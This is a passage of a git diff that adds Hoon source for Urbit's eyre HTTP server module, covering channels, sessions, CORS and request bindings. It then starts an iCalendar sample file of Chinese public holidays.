+      ?.  ?=(%fact -.event)  `event
+      ::  rebuild vase for fact data
+      ::
+      =/  des=(unit desk)  (app-to-desk channel request-id)
+      ?~  des  ~
+      =*  have=mark  mark.event
+      =/  val=(unit (unit cage))
+        (rof ~ %cb [our u.des da+now] /[have])
+      ?.  ?=([~ ~ *] val)
+        ((slog leaf+"eyre: no mark {(trip have)}" ~) ~)
+      =+  !<(=dais:clay q.u.u.val)
+      =/  res  (mule |.((vale:dais noun.event)))
+      ?:  ?=(%| -.res)
+        ((slog leaf+"eyre: stale fact of mark {(trip have)}" ~) ~)
+      `[%fact have p.res]
+    ::  +sign-to-json: render sign from request-id as json channel event
+    ::
+    ++  sign-to-json
+      ~%  %sign-to-json  ..part  ~
+      |=  [=channel request-id=@ud =sign:agent:gall]
+      ^-  (unit (quip move json))
+      ::  for facts, we try to convert the result to json
+      ::
+      =/  [from=(unit [=desk =mark]) jsyn=(unit sign:agent:gall)]
+        ?.  ?=(%fact -.sign)       [~ `sign]
+        ?:  ?=(%json p.cage.sign)  [~ `sign]
+        ::  find and use tube from fact mark to json
+        ::
+        =/  des=(unit desk)  (app-to-desk channel request-id)
+        ?~  des  [~ ~]
+        ::
+        =*  have=mark  p.cage.sign
+        =*  desc=tape  "from {(trip have)} to json"
+        =/  convert=(unit vase)
+          =/  cag=(unit (unit cage))
+            (rof ~ %cf [our u.des da+now] /[have]/json)
+          ?.  ?=([~ ~ *] cag)  ~
+          `q.u.u.cag
+        ?~  convert
+          ((slog leaf+"eyre: no convert {desc}" ~) [~ ~])
+        ~|  "conversion failed {desc}"
+        [`[u.des have] `[%fact %json (slym u.convert q.q.cage.sign)]]
+      ?~  jsyn  ~
+      %-  some
+      :-  ?~  from  ~
+          :_  ~
+          :^  duct  %pass  /conversion-cache/[mark.u.from]
+          [%c %warp our desk.u.from `[%sing %f da+now /[mark.u.from]/json]]
+      =*  sign  u.jsyn
+      =,  enjs:format
+      %-  pairs
+      ^-  (list [@t json])
+      :-  ['id' (numb request-id)]
+      ?-    -.sign
+          %poke-ack
+        :~  ['response' [%s 'poke']]
+          ::
+            ?~  p.sign
+              ['ok' [%s 'ok']]
+            ['err' (wall (render-tang-to-wall 100 u.p.sign))]
+        ==
+      ::
+          %fact
+        :~  ['response' [%s 'diff']]
+          ::
+            :-  'json'
+            ~|  [%unexpected-fact-mark p.cage.sign]
+            ?>  =(%json p.cage.sign)
+            !<(json q.cage.sign)
+        ==
+      ::
+          %kick
+        ['response' [%s 'quit']]~
+      ::
+          %watch-ack
+        :~  ['response' [%s 'subscribe']]
+          ::
+            ?~  p.sign
+              ['ok' [%s 'ok']]
+            ['err' (wall (render-tang-to-wall 100 u.p.sign))]
+        ==
+      ==
+    ::
+    ++  event-json-to-wall
+      ~%  %eyre-json-to-wall  ..part  ~
+      |=  [event-id=@ud =json]
+      ^-  wall
+      :~  (weld "id: " (format-ud-as-integer event-id))
+          (weld "data: " (en-json:html json))
+          ""
+      ==
+    ::
+    ++  on-channel-heartbeat
+      |=  channel-id=@t
+      ^-  [(list move) server-state]
+      ::
+      =/  res
+        %-  handle-response
+        :*  %continue
+            data=(some (as-octs:mimes:html ':\0a'))
+            complete=%.n
+        ==
+      =/  http-moves  -.res
+      =/  new-state  +.res
+      =/  heartbeat-time=@da  (add now ~s20)
+      :_  %_    new-state
+              session.channel-state
+            %+  ~(jab by session.channel-state.state)  channel-id
+            |=  =channel
+            channel(heartbeat (some [heartbeat-time duct]))
+          ==
+      (snoc http-moves (set-heartbeat-move channel-id heartbeat-time))
+    ::  +discard-channel: remove a channel from state
+    ::
+    ::    cleans up state, timers, and gall subscriptions of the channel
+    ::
+    ++  discard-channel
+      |=  [channel-id=@t expired=?]
+      ^-  [(list move) server-state]
+      ::
+      =/  usession=(unit channel)
+        (~(get by session.channel-state.state) channel-id)
+      ?~  usession
+        [~ state]
+      =/  session=channel  u.usession
+      ::
+      :_  %_    state
+              session.channel-state
+            (~(del by session.channel-state.state) channel-id)
+          ::
+              duct-to-key.channel-state
+            ?.  ?=(%| -.state.session)  duct-to-key.channel-state.state
+            (~(del by duct-to-key.channel-state.state) p.state.session)
+          ==
+      =/  heartbeat-cancel=(list move)
+        ?~  heartbeat.session  ~
+        :~  %^  cancel-heartbeat-move
+              channel-id
+            date.u.heartbeat.session
+          duct.u.heartbeat.session
+        ==
+      =/  expire-cancel=(list move)
+        ?:  expired  ~
+        ?.  ?=(%& -.state.session)  ~
+        =,  p.state.session
+        [(cancel-timeout-move channel-id date duct)]~
+      %+  weld  heartbeat-cancel
+      %+  weld  expire-cancel
+      ::  produce a list of moves which cancels every gall subscription
+      ::
+      %+  turn  ~(tap by subscriptions.session)
+      |=  [request-id=@ud ship=@p app=term =path duc=^duct]
+      ^-  move
+      :^  duc  %pass
+        (subscription-wire channel-id request-id ship app)
+      [%g %deal [our ship] app %leave ~]
+    --
+  ::  +handle-gall-error: a call to +poke-http-response resulted in a %coup
+  ::
+  ++  handle-gall-error
+    |=  =tang
+    ^-  [(list move) server-state]
+    ::
+    =+  connection=(~(got by connections.state) duct)
+    =/  moves-1=(list move)
+      ?.  ?=(%app -.action.connection)
+        ~
+      :_  ~
+      :*  duct  %pass  /watch-response/[eyre-id]
+          %g  %deal  [our our]  app.action.connection
+          %leave  ~
+      ==
+    ::
+    =^  moves-2  state
+      %^  return-static-data-on-duct  500  'text/html'
+      ::
+      %-  internal-server-error  :*
+          authenticated.inbound-request.connection
+          url.request.inbound-request.connection
+          tang
+      ==
+    [(weld moves-1 moves-2) state]
+  ::  +handle-response: check a response for correctness and send to earth
+  ::
+  ::    All outbound responses including %http-server generated responses need to go
+  ::    through this interface because we want to have one centralized place
+  ::    where we perform logging and state cleanup for connections that we're
+  ::    done with.
+  ::
+  ++  handle-response
+    |=  =http-event:http
+    ^-  [(list move) server-state]
+    ::  verify that this is a valid response on the duct
+    ::
+    ?~  connection-state=(~(get by connections.state) duct)
+      ~&  [%invalid-outstanding-connection duct]
+      [~ state]
+    ::
+    |^  ^-  [(list move) server-state]
+        ::
+        ?-    -.http-event
+        ::
+            %start
+          ?^  response-header.u.connection-state
+            ~&  [%http-multiple-start duct]
+            error-connection
+          ::  if request was authenticated, extend the session & cookie's life
+          ::
+          =^  response-header  sessions.authentication-state.state
+            =,  authentication
+            =*  sessions  sessions.authentication-state.state
+            =*  inbound   inbound-request.u.connection-state
+            =*  no-op     [response-header.http-event sessions]
+            ::
+            ?.  authenticated.inbound
+              no-op
+            ?~  session-id=(session-id-from-request request.inbound)
+              ::  cookies are the only auth method, so this is unexpected
+              ::
+              ~&  [%e %authenticated-without-cookie]
+              no-op
+            ?.  (~(has by sessions) u.session-id)
+              ::  if the session has expired since the request was opened,
+              ::  tough luck, we don't create/revive sessions here
+              ::
+              no-op
+            :_  %+  ~(jab by sessions)  u.session-id
+                |=  =session
+                session(expiry-time (add now session-timeout))
+            =-  response-header.http-event(headers -)
+            %^  set-header:http  'set-cookie'
+              (session-cookie-string u.session-id &)
+            headers.response-header.http-event
+          ::
+          =/  connection=outstanding-connection
+            (~(got by connections.state) duct)
+          ::  if the request was a simple cors request from an approved origin
+          ::  append the necessary cors headers to the response
+          ::
+          =/  origin=(unit origin)
+            %+  get-header:http  'origin'
+            header-list.request.inbound-request.connection
+          =?  headers.response-header
+              ?&  ?=(^ origin)
+                  (~(has in approved.cors-registry.state) u.origin)
+              ==
+            %^  set-header:http  'Access-Control-Allow-Origin'       u.origin
+            %^  set-header:http  'Access-Control-Allow-Credentials'  'true'
+            headers.response-header
+          ::
+          =.  response-header.http-event  response-header
+          =.  connections.state
+            %+  ~(put by connections.state)  duct
+            %_  connection
+              response-header  `response-header
+              bytes-sent  ?~(data.http-event 0 p.u.data.http-event)
+            ==
+          ::
+          =?  state  complete.http-event
+            log-complete-request
+          ::
+          pass-response
+        ::
+            %continue
+          ?~  response-header.u.connection-state
+            ~&  [%http-continue-without-start duct]
+            error-connection
+          ::
+          =.  connections.state
+            %+  ~(jab by connections.state)  duct
+            |=  connection=outstanding-connection
+            =+  size=?~(data.http-event 0 p.u.data.http-event)
+            connection(bytes-sent (add bytes-sent.connection size))
+          ::
+          =?  state  complete.http-event
+            log-complete-request
+          ::
+          pass-response
+        ::
+            %cancel
+          ::  todo: log this differently from an ise.
+          ::
+          error-connection
+        ==
+    ::
+    ++  pass-response
+      ^-  [(list move) server-state]
+      [[duct %give %response http-event]~ state]
+    ::
+    ++  log-complete-request
+      ::  todo: log the complete request
+      ::
+      ::  remove all outstanding state for this connection
+      ::
+      =.  connections.state
+        (~(del by connections.state) duct)
+      state
+    ::
+    ++  error-connection
+      ::  todo: log application error
+      ::
+      ::  remove all outstanding state for this connection
+      ::
+      =.  connections.state
+        (~(del by connections.state) duct)
+      ::  respond to outside with %error
+      ::
+      ^-  [(list move) server-state]
+      :_  state
+      :-  [duct %give %response %cancel ~]
+      ?.  ?=(%app -.action.u.connection-state)
+        ~
+      :_  ~
+      :*  duct  %pass  /watch-response/[eyre-id]
+          %g  %deal  [our our]  app.action.u.connection-state
+          %leave  ~
+      ==
+    --
+  ::  +add-binding: conditionally add a pairing between binding and action
+  ::
+  ::    Adds =binding =action if there is no conflicting bindings.
+  ::
+  ++  add-binding
+    |=  [=binding =action]
+    ^-  [(list move) server-state]
+    =^  success  bindings.state
+      ::  prevent binding in reserved namespaces
+      ::
+      ?:  ?|  ?=([%'~' *] path.binding)    ::  eyre
+              ?=([%'~_~' *] path.binding)  ::  runtime
+          ==
+        [| bindings.state]
+      [& (insert-binding [binding duct action] bindings.state)]
+    :_  state
+    [duct %give %bound & binding]~
+  ::  +remove-binding: removes a binding if it exists and is owned by this duct
+  ::
+  ++  remove-binding
+    |=  =binding
+    ::
+    ^-  server-state
+    %_    state
+        bindings
+      %+  skip  bindings.state
+      |=  [item-binding=^binding item-duct=^duct =action]
+      ^-  ?
+      &(=(item-binding binding) =(item-duct duct))
+    ==
+  ::  +get-action-for-binding: finds an action for an incoming web request
+  ::
+  ++  get-action-for-binding
+    |=  [raw-host=(unit @t) url=@t]
+    ^-  [=action suburl=@t]
+    ::  process :raw-host
+    ::
+    ::    If we are missing a 'Host:' header, if that header is a raw IP
+    ::    address, or if the 'Host:' header refers to [our].urbit.org, we want
+    ::    to return ~ which means we're unidentified and will match against any
+    ::    wildcard matching.
+    ::
+    ::    Otherwise, return the site given.
+    ::
+    =/  host=(unit @t)
+      ?~  raw-host
+        ~
+      ::  Parse the raw-host so that we can ignore ports, usernames, etc.
+      ::
+      =+  parsed=(rush u.raw-host simplified-url-parser)
+      ?~  parsed
+        ~
+      ::  if the url is a raw IP, assume default site.
+      ::
+      ?:  ?=([%ip *] -.u.parsed)
+        ~
+      ::  if the url is "localhost", assume default site.
+      ::
+      ?:  =([%site 'localhost'] -.u.parsed)
+        ~
+      ::  render our as a tape, and cut off the sig in front.
+      ::
+      =/  with-sig=tape  (scow %p our)
+      ?>  ?=(^ with-sig)
+      ?:  =(u.raw-host (crip t.with-sig))
+        ::  [our].urbit.org is the default site
+        ::
+        ~
+      ::
+      raw-host
+    ::  url is the raw thing passed over the 'Request-Line'.
+    ::
+    ::    todo: this is really input validation, and we should return a 500 to
+    ::    the client.
+    ::
+    =/  request-line  (parse-request-line url)
+    =/  parsed-url=(list @t)  site.request-line
+    ::
+    =/  bindings  bindings.state
+    |-
+    ::
+    ?~  bindings
+      [[%four-oh-four ~] url]
+    ::
+    ?.  (host-matches site.binding.i.bindings raw-host)
+      $(bindings t.bindings)
+    ?~  suffix=(find-suffix path.binding.i.bindings parsed-url)
+      $(bindings t.bindings)
+    ::
+    :-  action.i.bindings
+    %^  cat  3
+      %+  roll
+        ^-  (list @t)
+        (join '/' (flop ['' u.suffix]))
+      (cury cat 3)
+    ?~  ext.request-line  ''
+    (cat 3 '.' u.ext.request-line)
+  --
+::
+++  forwarded-params
+  |=  =header-list:http
+  ^-  (unit (list (map @t @t)))
+  %+  biff
+    (get-header:http 'forwarded' header-list)
+  unpack-header:http
+::
+++  forwarded-for
+  |=  forwards=(list (map @t @t))
+  ^-  (unit address)
+  ?.  ?=(^ forwards)  ~
+  =*  forward  i.forwards
+  ?~  for=(~(get by forward) 'for')  ~
+  ::NOTE  per rfc7239, non-ip values are also valid. they're not useful
+  ::      for the general case, so we ignore them here. if needed,
+  ::      request handlers are free to inspect the headers themselves.
+  ::
+  %+  rush  u.for
+  ;~  sfix
+    ;~(pose (stag %ipv4 ip4) (stag %ipv6 (ifix [sel ser] ip6)))
+    ;~(pose ;~(pfix col dim:ag) (easy ~))
+  ==
+::
+++  forwarded-secure
+  |=  forwards=(list (map @t @t))
+  ^-  (unit ?)
+  ?.  ?=(^ forwards)  ~
+  =*  forward  i.forwards
+  ?~  proto=(~(get by forward) 'proto')  ~
+  ?+  u.proto  ~
+    %http   `|
+    %https  `&
+  ==
+::
+++  parse-request-line
+  |=  url=@t
+  ^-  [[ext=(unit @ta) site=(list @t)] args=(list [key=@t value=@t])]
+  (fall (rush url ;~(plug apat:de-purl:html yque:de-purl:html)) [[~ ~] ~])
+::  +insert-binding: add a new binding, replacing any existing at its path
+::
+++  insert-binding
+  |=  $:  new=[=binding =duct =action]
+          bindings=(list [=binding =duct =action])
+      ==
+  ^+  bindings
+  ?~  bindings  [new]~
+  =*  bid  binding.i.bindings
+  ::  replace already bound paths
+  ::
+  ?:  =([site path]:bid [site path]:binding.new)
+    ~>  %slog.[0 leaf+"eyre: replacing existing binding at {<`path`path.bid>}"]
+    [new t.bindings]
+  ::  if new comes before bid, prepend it.
+  ::  otherwise, continue our search.
+  ::
+  =;  new-before-bid=?
+    ?:  new-before-bid  [new bindings]
+    [i.bindings $(bindings t.bindings)]
+  ?:  =(site.binding.new site.bid)
+    (aor path.bid path.binding.new)
+  (aor (fall site.bid '') (fall site.binding.new ''))
+::
+++  channel-wire
+  |=  [channel-id=@t request-id=@ud]
+  ^-  wire
+  /channel/subscription/[channel-id]/(scot %ud request-id)
+::
+++  subscription-wire
+  |=  [channel-id=@t request-id=@ud =ship app=term]
+  ^-  wire
+  (weld (channel-wire channel-id request-id) /(scot %p ship)/[app])
+--
+::  end the =~
+::
+.  ==
+::  begin with a default +axle as a blank slate
+::
+=|  ax=axle
+::  a vane is activated with current date, entropy, and a namespace function
+::
+|=  [now=@da eny=@uvJ rof=roof]
+::  allow jets to be registered within this core
+::
+~%  %http-server  ..part  ~
+|%
+++  call
+  ~/  %eyre-call
+  |=  [=duct dud=(unit goof) wrapped-task=(hobo task)]
+  ^-  [(list move) _http-server-gate]
+  ::
+  =/  task=task  ((harden task) wrapped-task)
+  ::
+  ::  XX handle error notifications
+  ::
+  ?^  dud
+    =/  moves=(list move)
+      [[duct %slip %d %flog %crud [-.task tang.u.dud]] ~]
+    [moves http-server-gate]
+  ::  %init: tells us what our ship name is
+  ::
+  ?:  ?=(%init -.task)
+    ::  initial value for the login handler
+    ::
+    =.  bindings.server-state.ax
+      =-  (roll - insert-binding)
+      ^-  (list [binding ^duct action])
+      :~  [[~ /~/login] duct [%authentication ~]]
+          [[~ /~/logout] duct [%logout ~]]
+          [[~ /~/channel] duct [%channel ~]]
+          [[~ /~/scry] duct [%scry ~]]
+      ==
+    [~ http-server-gate]
+  ::  %trim: in response to memory pressure
+  ::
+  ::    Cancel all inactive channels
+  ::    XX cancel active too if =(0 trim-priority) ?
+  ::
+  ?:  ?=(%trim -.task)
+    =/  event-args  [[eny duct now rof] server-state.ax]
+    =*  by-channel  by-channel:(per-server-event event-args)
+    =*  channel-state  channel-state.server-state.ax
+    ::
+    =/  inactive=(list @t)
+      =/  full=(set @t)  ~(key by session.channel-state)
+      =/  live=(set @t)
+        (~(gas in *(set @t)) ~(val by duct-to-key.channel-state))
+      ~(tap in (~(dif in full) live))
+    ::
+    ?:  =(~ inactive)
+      [~ http-server-gate]
+    ::
+    =/  len=tape  (scow %ud (lent inactive))
+    ~>  %slog.[0 leaf+"eyre: trim: closing {len} inactive channels"]
+    ::
+    =|  moves=(list (list move))
+    |-  ^-  [(list move) _http-server-gate]
+    =*  channel-id  i.inactive
+    ?~  inactive
+      [(zing (flop moves)) http-server-gate]
+    ::  discard channel state, and cancel any active gall subscriptions
+    ::
+    =^  mov  server-state.ax  (discard-channel:by-channel channel-id |)
+    $(moves [mov moves], inactive t.inactive)
+  ::
+  ::  %vega: notifies us of a completed kernel upgrade
+  ::
+  ?:  ?=(%vega -.task)
+    [~ http-server-gate]
+  ::  %born: new unix process
+  ::
+  ?:  ?=(%born -.task)
+    ::  close previously open connections
+    ::
+    ::    When we have a new unix process, every outstanding open connection is
+    ::    dead. For every duct, send an implicit close connection.
+    ::
+    =^  closed-connections=(list move)  server-state.ax
+      =/  connections=(list [=^duct *])
+        ~(tap by connections.server-state.ax)
+      ::
+      =|  closed-connections=(list move)
+      |-
+      ?~  connections
+        [closed-connections server-state.ax]
+      ::
+      =/  event-args
+        [[eny duct.i.connections now rof] server-state.ax]
+      =/  cancel-request  cancel-request:(per-server-event event-args)
+      =^  moves  server-state.ax  cancel-request
+      ::
+      $(closed-connections (weld moves closed-connections), connections t.connections)
+    ::  save duct for future %give to unix
+    ::
+    =.  outgoing-duct.server-state.ax  duct
+    ::
+    :_  http-server-gate
+    ;:  weld
+      ::  hand back default configuration for now
+      ::
+      [duct %give %set-config http-config.server-state.ax]~
+    ::
+      closed-connections
+    ==
+  ::
+  ?:  ?=(%code-changed -.task)
+    ~>  %slog.[0 leaf+"eyre: code-changed: throwing away cookies and sessions"]
+    =.  authentication-state.server-state.ax  *authentication-state
+    ::
+    =/  event-args  [[eny duct now rof] server-state.ax]
+    =*  by-channel  by-channel:(per-server-event event-args)
+    =*  channel-state  channel-state.server-state.ax
+    ::
+    =/  channel-ids=(list @t)  ~(tap in ~(key by session.channel-state))
+    =|  moves=(list (list move))
+    |-  ^-  [(list move) _http-server-gate]
+    ?~  channel-ids
+      [(zing (flop moves)) http-server-gate]
+    ::  discard channel state, and cancel any active gall subscriptions
+    ::
+    =^  mov  server-state.ax  (discard-channel:by-channel i.channel-ids |)
+    $(moves [mov moves], channel-ids t.channel-ids)
+  ::
+  ::  all other commands operate on a per-server-event
+  ::
+  =/  event-args  [[eny duct now rof] server-state.ax]
+  =/  server  (per-server-event event-args)
+  ::
+  ?-    -.task
+      ::  %live: notifies us of the ports of our live http servers
+      ::
+      %live
+    =.  ports.server-state.ax  +.task
+    [~ http-server-gate]
+      ::  %rule: updates our http configuration
+      ::
+      %rule
+    ?-  -.http-rule.task
+        ::  %cert: install tls certificate
+        ::
+        %cert
+      =*  config  http-config.server-state.ax
+      ?:  =(secure.config cert.http-rule.task)
+        [~ http-server-gate]
+      =.  secure.config  cert.http-rule.task
+      :_  http-server-gate
+      =*  out-duct  outgoing-duct.server-state.ax
+      ?~  out-duct  ~
+      [out-duct %give %set-config config]~
+        ::  %turf: add or remove domain name
+        ::
+        %turf
+      =*  domains  domains.server-state.ax
+      =/  mod=(set turf)
+        ?:  ?=(%put action.http-rule.task)
+          (~(put in domains) turf.http-rule.task)
+        (~(del in domains) turf.http-rule.task)
+      ?:  =(domains mod)
+        [~ http-server-gate]
+      =.  domains  mod
+      :_  http-server-gate
+      =/  cmd
+        [%acme %poke `cage`[%acme-order !>(mod)]]
+      [duct %pass /acme/order %g %deal [our our] cmd]~
+    ==
+  ::
+      %request
+    =^  moves  server-state.ax  (request:server +.task)
+    [moves http-server-gate]
+  ::
+      %request-local
+    =^  moves  server-state.ax  (request-local:server +.task)
+    [moves http-server-gate]
+  ::
+      %cancel-request
+    =^  moves  server-state.ax  cancel-request:server
+    [moves http-server-gate]
+  ::
+      %connect
+    =^  moves  server-state.ax
+      %+  add-binding:server  binding.task
+      [%app app.task]
+    [moves http-server-gate]
+  ::
+      %serve
+    =^  moves  server-state.ax
+      %+  add-binding:server  binding.task
+      [%gen generator.task]
+    [moves http-server-gate]
+  ::
+      %disconnect
+    =.  server-state.ax  (remove-binding:server binding.task)
+    [~ http-server-gate]
+  ::
+      %approve-origin
+    =.  cors-registry.server-state.ax
+      =,  cors-registry.server-state.ax
+      :+  (~(del in requests) origin.task)
+        (~(put in approved) origin.task)
+      (~(del in rejected) origin.task)
+    [~ http-server-gate]
+  ::
+      %reject-origin
+    =.  cors-registry.server-state.ax
+      =,  cors-registry.server-state.ax
+      :+  (~(del in requests) origin.task)
+        (~(del in approved) origin.task)
+      (~(put in rejected) origin.task)
+    [~ http-server-gate]
+  ==
+::
+++  take
+  ~/  %eyre-take
+  |=  [=wire =duct dud=(unit goof) =sign]
+  ^-  [(list move) _http-server-gate]
+  ?^  dud
+    ~|(%eyre-take-dud (mean tang.u.dud))
+  =>  %=    .
+          sign
+        ?:  ?=(%gall -.sign)
+          ?>  ?=(%unto +<.sign)
+          sign
+        sign
+      ==
+  ::  :wire must at least contain two parts, the type and the build
+  ::
+  ?>  ?=([@ *] wire)
+  ::
+  |^  ^-  [(list move) _http-server-gate]
+      ::
+      ?+    i.wire
+          ~|([%bad-take-wire wire] !!)
+      ::
+        %run-app-request   run-app-request
+        %watch-response    watch-response
+        %sessions          sessions
+        %channel           channel
+        %acme              acme-ack
+        %conversion-cache  `http-server-gate
+      ==
+  ::
+  ++  run-app-request
+    ::
+    ?>  ?=([%gall %unto *] sign)
+    ::
+    ::
+    ?>  ?=([%poke-ack *] p.sign)
+    ?>  ?=([@ *] t.wire)
+    ?~  p.p.sign
+      ::  received a positive acknowledgment: take no action
+      ::
+      [~ http-server-gate]
+    ::  we have an error; propagate it to the client
+    ::
+    =/  event-args  [[eny duct now rof] server-state.ax]
+    =/  handle-gall-error
+      handle-gall-error:(per-server-event event-args)
+    =^  moves  server-state.ax
+      (handle-gall-error u.p.p.sign)
+    [moves http-server-gate]
+  ::
+  ++  watch-response
+    ::
+    =/  event-args  [[eny duct now rof] server-state.ax]
+    ::
+    ?>  ?=([@ *] t.wire)
+    ?:  ?=([%gall %unto %watch-ack *] sign)
+      ?~  p.p.sign
+        ::  received a positive acknowledgment: take no action
+        ::
+        [~ http-server-gate]
+      ::  we have an error; propagate it to the client
+      ::
+      =/  handle-gall-error
+        handle-gall-error:(per-server-event event-args)
+      =^  moves  server-state.ax  (handle-gall-error u.p.p.sign)
+      [moves http-server-gate]
+    ::
+    ?:  ?=([%gall %unto %kick ~] sign)
+      =/  handle-response  handle-response:(per-server-event event-args)
+      =^  moves  server-state.ax
+        (handle-response %continue ~ &)
+      [moves http-server-gate]
+    ::
+    ?>  ?=([%gall %unto %fact *] sign)
+    =/  =mark  p.cage.p.sign
+    =/  =vase  q.cage.p.sign
+    ?.  ?=  ?(%http-response-header %http-response-data %http-response-cancel)
+        mark
+      =/  handle-gall-error
+        handle-gall-error:(per-server-event event-args)
+      =^  moves  server-state.ax
+        (handle-gall-error leaf+"eyre bad mark {(trip mark)}" ~)
+      [moves http-server-gate]
+    ::
+    =/  =http-event:http
+      ?-  mark
+        %http-response-header  [%start !<(response-header:http vase) ~ |]
+        %http-response-data    [%continue !<((unit octs) vase) |]
+        %http-response-cancel  [%cancel ~]
+      ==
+    =/  handle-response  handle-response:(per-server-event event-args)
+    =^  moves  server-state.ax
+      (handle-response http-event)
+    [moves http-server-gate]
+  ::
+  ++  channel
+    ::
+    =/  event-args  [[eny duct now rof] server-state.ax]
+    ::  channel callback wires are triples.
+    ::
+    ?>  ?=([@ @ @t *] wire)
+    ::
+    ?+    i.t.wire
+        ~|([%bad-channel-wire wire] !!)
+    ::
+        %timeout
+      ?>  ?=([%behn %wake *] sign)
+      ?^  error.sign
+        [[duct %slip %d %flog %crud %wake u.error.sign]~ http-server-gate]
+      =/  discard-channel
+        discard-channel:by-channel:(per-server-event event-args)
+      =^  moves  server-state.ax
+        (discard-channel i.t.t.wire &)
+      [moves http-server-gate]
+    ::
+        %heartbeat
+      =/  on-channel-heartbeat
+        on-channel-heartbeat:by-channel:(per-server-event event-args)
+      =^  moves  server-state.ax
+        (on-channel-heartbeat i.t.t.wire)
+      [moves http-server-gate]
+    ::
+        ?(%poke %subscription)
+      ?>  ?=([%gall %unto *] sign)
+      ~|  eyre-sub=wire
+      ?>  ?=([@ @ @t @ *] wire)
+      ?<  ?=(%raw-fact -.p.sign)
+      =*  channel-id  i.t.t.wire
+      =*  request-id  i.t.t.t.wire
+      =*  extra-wire  t.t.t.t.wire
+      =/  on-gall-response
+        on-gall-response:by-channel:(per-server-event event-args)
+      ::  ~&  [%gall-response sign]
+      =^  moves  server-state.ax
+        %-  on-gall-response
+        [channel-id (slav %ud request-id) extra-wire p.sign]
+      [moves http-server-gate]
+    ==
+  ::
+  ++  sessions
+    ::
+    ?>  ?=([%behn %wake *] sign)
+    ::
+    ?^  error.sign
+      [[duct %slip %d %flog %crud %wake u.error.sign]~ http-server-gate]
+    ::  remove cookies that have expired
+    ::
+    =*  sessions  sessions.authentication-state.server-state.ax
+    =.  sessions.authentication-state.server-state.ax
+      %-  ~(gas by *(map @uv session))
+      %+  skip  ~(tap in sessions)
+      |=  [cookie=@uv session]
+      (lth expiry-time now)
+    ::  if there's any cookies left, set a timer for the next expected expiry
+    ::
+    ^-  [(list move) _http-server-gate]
+    :_  http-server-gate
+    ?:  =(~ sessions)  ~
+    =;  next-expiry=@da
+      [duct %pass /sessions/expire %b %wait next-expiry]~
+    %+  roll  ~(tap by sessions)
+    |=  [[@uv session] next=@da]
+    ?:  =(*@da next)  expiry-time
+    (min next expiry-time)
+  ::
+  ++  acme-ack
+    ?>  ?=([%gall %unto *] sign)
+    ::
+    ?>  ?=([%poke-ack *] p.sign)
+    ?~  p.p.sign
+      ::  received a positive acknowledgment: take no action
+      ::
+      [~ http-server-gate]
+    ::  received a negative acknowledgment: XX do something
+    ::
+    [((slog u.p.p.sign) ~) http-server-gate]
+  --
+::
+++  http-server-gate  ..$
+::  +load: migrate old state to new state (called on vane reload)
+::
+++  load
+  |=  old=axle
+  ^+  ..^$
+  ..^$(ax old)
+::  +stay: produce current state
+::
+++  stay  `axle`ax
+::  +scry: request a path in the urbit namespace
+::
+++  scry
+  ~/  %eyre-scry
+  ^-  roon
+  |=  [lyc=gang car=term bem=beam]
+  ^-  (unit (unit cage))
+  =*  ren  car
+  =*  why=shop  &/p.bem
+  =*  syd  q.bem
+  =/  lot=coin  $/r.bem
+  =*  tyl  s.bem
+  ::
+  ?.  ?=(%& -.why)
+    ~
+  =*  who  p.why
+  ?:  =(tyl /whey)
+    =/  maz=(list mass)
+      :~  bindings+&+bindings.server-state.ax
+          auth+&+authentication-state.server-state.ax
+          connections+&+connections.server-state.ax
+          channels+&+channel-state.server-state.ax
+          axle+&+ax
+      ==
+    ``mass+!>(maz)
+  ?.  ?=(%$ -.lot)
+    [~ ~]
+  ?.  =(our who)
+    ?.  =([%da now] p.lot)
+      [~ ~]
+    ~&  [%r %scry-foreign-host who]
+    ~
+  ?:  &(?=(%x ren) ?=(~ syd))
+    =,  server-state.ax
+    ?+  tyl  [~ ~]
+      [%cors ~]            ``noun+!>(cors-registry)
+      [%cors %requests ~]  ``noun+!>(requests.cors-registry)
+      [%cors %approved ~]  ``noun+!>(approved.cors-registry)
+      [%cors %rejected ~]  ``noun+!>(rejected.cors-registry)
+    ::
+        [%cors ?(%approved %rejected) @ ~]
+      =*  kind  i.t.tyl
+      =*  orig  i.t.t.tyl
+      ?~  origin=(slaw %t orig)  [~ ~]
+      ?-  kind
+        %approved  ``noun+!>((~(has in approved.cors-registry) u.origin))
+        %rejected  ``noun+!>((~(has in rejected.cors-registry) u.origin))
+      ==
+    ::
+        [%authenticated %cookie @ ~]
+      ?~  cookies=(slaw %t i.t.t.tyl)  [~ ~]
+      :^  ~  ~  %noun
+      !>  ^-  ?
+      %-  =<  request-is-logged-in:authentication
+          (per-server-event [eny *duct now rof] server-state.ax)
+      %*(. *request:http header-list ['cookie' u.cookies]~)
+    ==
+  ?.  ?=(%$ ren)
+    [~ ~]
+  ?+  syd  [~ ~]
+    %bindings              ``noun+!>(bindings.server-state.ax)
+    %connections           ``noun+!>(connections.server-state.ax)
+    %authentication-state  ``noun+!>(authentication-state.server-state.ax)
+    %channel-state         ``noun+!>(channel-state.server-state.ax)
+  ::
+      %host
+    %-  (lift (lift |=(a=hart:eyre [%hart !>(a)])))
+    ^-  (unit (unit hart:eyre))
+    =.  p.lot  ?.(=([%da now] p.lot) p.lot [%tas %real])
+    ?+  p.lot
+      [~ ~]
+    ::
+        [%tas %fake]
+      ``[& [~ 8.443] %& /localhost]
+    ::
+        [%tas %real]
+      =*  domains  domains.server-state.ax
+      =*  ports  ports.server-state.ax
+      =/  =host:eyre  [%& ?^(domains n.domains /localhost)]
+      =/  secure=?  &(?=(^ secure.ports) !?=(hoke:eyre host))
+      =/  port=(unit @ud)
+        ?.  secure
+          ?:(=(80 insecure.ports) ~ `insecure.ports)
+        ?>  ?=(^ secure.ports)
+        ?:(=(443 u.secure.ports) ~ secure.ports)
+      ``[secure port host]
+    ==
+  ==
+--
diff --git a/samples/iCalendar/2024.ics b/samples/iCalendar/2024.ics
new file mode 100644
index 0000000000..051b70e45c
--- /dev/null
+++ b/samples/iCalendar/2024.ics
@@ -0,0 +1,121 @@
+BEGIN:VCALENDAR
+VERSION:2.0
+METHOD:PUBLISH
+CLASS:PUBLIC
+X-WR-CALDESC:中国法定节假日数据，自动每日抓取国务院公
+ 告。
+X-WR-CALNAME:中国法定节假日
+BEGIN:VTIMEZONE
+TZID:Asia/Shanghai
+BEGIN:STANDARD
+DTSTART;VALUE=DATE-TIME:19700101T000000
+TZOFFSETFROM:+0800
+TZOFFSETTO:+0800
+END:STANDARD
+END:VTIMEZONE
+BEGIN:VEVENT
+SUMMARY:元旦假期
+DTSTART;VALUE=DATE:20240101
